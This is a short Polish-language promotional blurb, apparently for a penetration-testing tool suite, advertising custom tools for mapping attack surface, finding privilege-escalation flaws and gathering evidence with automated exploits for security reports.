Znajdź i zgłoś krytyczne, wykorzystywalne luki z rzeczywistym wpływem na biznes. Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, i użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.